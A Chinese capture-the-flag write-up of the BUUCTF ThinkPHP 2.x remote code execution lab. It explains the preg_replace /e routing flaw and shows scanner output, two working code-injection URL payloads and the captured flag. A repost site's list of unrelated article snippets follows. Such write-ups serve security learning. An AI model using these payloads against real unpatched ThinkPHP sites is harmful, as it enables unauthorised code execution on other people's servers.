BUUCTF-Real-[ThinkPHP]2-Rce1

任意代码执行漏洞

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。


POC检测


[15:05:31] [INFO] 检测到: thinkphp_lite_code_exec from script thinkphp_lite_code_exec.py, 目标: http://node5.buuoj.cn:27744/
[15:05:31] [INFO] 正在检测 [29%/1][http://node5.buuoj.cn:27744]  poc: thinkphp_pay_orderid_sqli
[15:05:31] [INFO] 正在检测 [30%/1][http://node5.buuoj.cn:27744]  poc: thinkphp_method_filter_code_exec
[15:05:31] [INFO] 检测到: Thinkphp 2.x rce from script thinkphp2_rce.py, 目标: http://node5.buuoj.cn:27744/

经过poc检测,该版本的thinphp 2.x存在rce漏洞!

漏洞利用

----
[!] Name: thinkphp_lite_code_exec
    Script: thinkphp_lite_code_exec.py
    Url: http://node5.buuoj.cn:27744/
      Vulnerable: True
      Method: GET
      Payload: http://node5.buuoj.cn:27744/index.php/module/action/param1/$%7B@print%28md5%282333%29%29%7D
[!] Name: Thinkphp 2.x rce
    Script: thinkphp2_rce.py
    Url: http://node5.buuoj.cn:27744/
      Vulnerable: True
      Attack: True
      Method: GET
      Payload: http://node5.buuoj.cn:27744/index.php?s=a/b/c/${var_dump(md5(1))}
----


http://node5.buuoj.cn:27744/index.php/module/action/param1/$%7B@print%28md5%282333%29%29%7D
http://node5.buuoj.cn:27744/index.php?s=a/b/c/${var_dump(md5(1))}

经过验证两个payload都可以使用!我们查看phpinfo页面!


get flag

 

 

自由组合payload,都可以触发代码执行漏洞! 

flag{f2613e0d-5ccc-42d9-b18b-509dc185df9c}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/665715.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Open CASCADE学习|拓扑变换

目录 平移变换 旋转变换 组合变换 通用变换 平移变换 TopoDS_Shape out;gp_Trsf theTransformation;gp_Vec theVectorOfTranslation(0., 0.125 / 2, 0.);theTransformation.SetTranslation(theVectorOfTranslation);BRepBuilderAPI_Transform myBRepTransformation(out, th…

go 中的范型

泛型是随着Go 1.18版本发布的。它基本上意味着参数化的类型,也就是说,它允许程序员在写代码时,类型可以稍后指定,因为类型在当时并不相关。换句话说,在编写一些代码时,你不提供数值的类型。这些类型的值会在…

Leetcode刷题笔记题解(C++):36. 有效的数独

思路一:暴力破解,两个二维数组记录行、列对应的数字出现的次数,比如rows[i][index]表示的数字index在i行出现的次数,三维数组记录每个块中对应数字出现的次数,比如boxes[i/3][j/3][index]表示的数字index在[i/3][j/3]个…

校园墙表白墙系统uniapp微信小程序

配置文件 (自动编号、配置参数名称、配置参数值); 前端开发:vue 语言:javapythonnodejsphp均支持 运行软件:idea/eclipse/vscode/pycharm/wamp均支持 框架支持:Ssm/django/flask/thinkphp/springboot/springcloud均支持 数据库 mysql 数据库工具&#x…

定时器 Timer(超详细模拟实现)

目录 一、定时器 1.定时器概述 2.Java标准库提供的定时器类 3.定时器代码样例 二、实现 1.实现思路 2.代码实现 2.1纯享版 2.2注释版 3.代码解析(超详细) 3.1描述类MyTimerTask ①构造:MyTimerTask(Runnable runnable, long delay&#xff…

如何使用本地私有NuGet服务器

写在前面 上一篇介绍了如何在本地搭建一个NuGet服务器, 本文将介绍如何使用本地私有NuGet服务器。 操作步骤 1.新建一个.Net类库项目 2.打包类库 操作后会生成一个.nupkg文件,当然也可以用dotnet pack命令来执行打包。 3.推送至本地NuGet服务器 打开命…

vue3 封装WebSocket(直接复制)

创建文件WebSocket.js 只有基本的功能 import { ref } from vue; import store from "/store";export default function useWebSocket(url) {const messagesData ref([]);// 创建WebSocket连接和相关方法const socket new WebSocket(url);socket.onopen () >…

《计算机网络简易速速上手小册》第6章:网络性能优化(2024 最新版)

文章目录 6.1 带宽管理与 QoS - 让你的网络不再拥堵6.1.1 基础知识6.1.2 重点案例:提高远程办公的视频会议质量实现步骤环境准备Python 脚本示例注意事项 6.1.3 拓展案例1:智能家居系统的网络优化实现思路Python 脚本示例 6.1.4 拓展案例2:提…

计算机网络_1.5 计算机网络的性能指标

1.5 计算机网络的性能指标 一、总览二、常用的八个计算机网络性能指标1、速率(1)数据量(2)速率(3)数据量与速率中K、M、G、T的数值辨析(4)【练习1】计算发送数据块的所需时间 2、带宽…

Unity引擎学习笔记之【角色动画器操作】

角色动画Character Animation 一、使用方法 1. 添加一个静态的角色模型,并确保这个角色模型绑定了Avatar 2. 创建一个动画器控制器 Animator Controller 3. 将动画器控制器拖动添加到Player的Animator控制器上 4. 双击即可打开控制器 5. 将带有动画的预设&#xf…

docker下nacos(1.2.0)的持久化

一、创建数据库 运行以下代码自动创建数据库和表 CREATE DATABASE IF NOT EXISTS nacos_config /*!40100 DEFAULT CHARACTER SET utf8 */; USE nacos_config;SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS 0;-- ---------------------------- -- Table structure for config_…

[Python] 如何在控制台进行输入输出

可莉今天带你来学习Python基础中在控制台的输入输出~ 接下来跟着可莉来学习吧~ 可莉将这篇博客收录在了:《Python》 可莉推荐的博主主页:Keven ’ s blog 目录 通过控制台输出 格式化输出 通过控制台输入 总结 通过控制台输出 我们通过print函数可以…

[VulnHub靶机渗透] WestWild 1.1

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~ ✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】 🎉点赞➕评论➕收藏…

leetcode正则表达式匹配问题(困难)

1.题目描述 2.解题思路,这道题自己没做出来,看了官方的题解,感觉对自己来说确实是比较难想的。使用了动态规划的解决方案,这种方案看题解都不一定能看明白,不过有个评论画图讲解的非常明白。其实仔细看题解的话&#…

从一个小故事讲解观察者模式~

定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并被自动更新。 什么是观察者模式? 观察者模式在我们的日常生活中极其常见。 先来看看观察者模式的定义: 观察者模式定义了对象之间…

面试八股文(3)

文章目录 1.HashSet如何检查重复2.comparable和Comparator区别3.ConcurrentHashMap和Hashtable区别4.线程和进程5.并发与并行的区别6.为什么使用多线程7.使用多线程可能带来问题8.线程的生命周期和状态9.什么是上下文切换10.线程死锁11.产生死锁四个条件12.如何避免死锁 1.Hash…

使用API有效率地管理Dynadot域名,使用API进将其他平台的域名转移至dynadot

关于Dynadot Dynadot是通过ICANN认证的域名注册商,自2002年成立以来,服务于全球108个国家和地区的客户,为数以万计的客户提供简洁,优惠,安全的域名注册以及管理服务。 Dynadot平台操作教程索引(包括域名邮…

C++设计模式-里氏替换原则

里氏替换原则定义了继承规范。(封装、继承、多态) 定义1:类型S对象o1,类型T对象o2,o1换成o2时程序意图不变,那么S是T的子类。 定义2:使用子类不破坏父类的意图。 注意:如果子类不…

Convolutional Neural Network (CNN) 识别手写数字字体

介绍: 卷积神经网络(Convolutional Neural Network,CNN)是一种在计算机视觉领域广泛应用的深度学习模型。它主要用于图像识别、目标检测、图像分割等任务。 CNN的核心思想是利用卷积操作提取图像的特征。卷积操作是一种基于滤波器…

vue3:23—自定义hooks

正是因为有了hooks,组合式才发挥出了威力 其实 hooks 和 vue2 中的 mixin 有点类似,但是相对 mixins 而言, hooks 更清楚复用功能代码的来源, 更清晰易懂。 如何定义hooks 具备可复用功能,才需要抽离为 hooks 独立文件函数名/文…